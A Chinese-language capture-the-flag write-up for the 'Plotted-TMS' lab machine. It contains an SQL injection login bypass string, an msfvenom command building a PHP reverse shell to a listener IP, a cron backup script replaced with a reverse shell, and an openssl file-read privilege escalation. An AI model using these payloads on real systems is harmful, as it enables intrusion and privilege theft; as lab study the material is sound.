
Plotted-TMS WriteUP
渗透过程
首先,进行端口扫描和目录爆破。
端口扫描:

发现目标主机开放22,80和445端口,继续进行端口的详细扫描:

继续扫描发现445端口并不是smb服务,而是apache服务,所以将来进行目录爆破时也应该爆破445端口。
漏洞扫描这三个端口:

并没有任何发现。
访问80页面:

访问 :445 端口:

发现都是apache默认界面,所以,进行目录爆破:


在80端口发现三个目录,依次是 amdin/、shadow/、passwd/,访问这三个目录:
访问admin/目录:

打开后是base64编码:

进行base64解码:

访问shadow/目录:

进行base64解码:

访问passwd/目录:

进行base64解码:

发现这三个目录都没有发现。
自己探索的路径:
回顾端口扫描,发现22端口的ssh版本是OpenSSH 8.2p1 Ubuntu 4ubuntu0.3,去Google搜索发现漏洞OpenSSH versions < 9.3p2(CVE-2023-38408.sh),下载.sh尝试:


发现并不可以,没有利用条件。
正确路径:
由于445端口是http apache服务,所以对445端口进行目录爆破:


发现 management/目录,访问该目录:

是一个交通管理系统,访问页面源代码后没有发现利用点,点击login登录:

使用密码 admin' or '1'='1'#
尝试登录:

登录成功后,尝试寻找xxs或文件上传,最后在settings内potal cover处可以上传php文件并反弹shell,我们使用msfvenom生成php木马上传到服务器:
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.94.196 LPORT=4444 -f raw > rev.php

在msf中进行监听并点击update,之后刷新页面:
起msf监听:

刷新页面后:

获得反弹shell,在 /home/plot_admin目录下有user.txt文档,是我们的第一个flag,但是我们无权查看:

发现读权限没有,只有plot_admin用户有读权限:

由于是反弹shell,不知道www-data的密码,查看/etc/shadow文件:

使用 getcap -r / 2>/dev/null 、find / -perm -u=s -type f 2>/dev/null、和 linpeas.sh 查看后,发现doas命令:

doas命令说只允许 plot_admin用户在不需要输入密码的情况下运行openssl命令,所以首先需要提权 plot_admin,我们接下来查看定时任务看有无发现:

发现 plot_admin每分钟执行一次 backup.sh。进入到该目录:

可以看到backup.sh所有者和所属组都是 plot_admin,其他人没有写权限,返回上级目录,发现scripts文件夹的权限是www-data,这意味着虽然我们无权修改 backup.sh但是可以将它直接删除,我们删除 backup.sh并将反弹shell写入新建的 backup.sh:


接下来在kali中启动nc监听接收反弹shell:

查看第一个flag:

因为之前提到doas命令可以提权,所以去GTFObins查找提权命令:
LFILE=file_to_read
openssl enc -in "$LFILE"
进行提权:

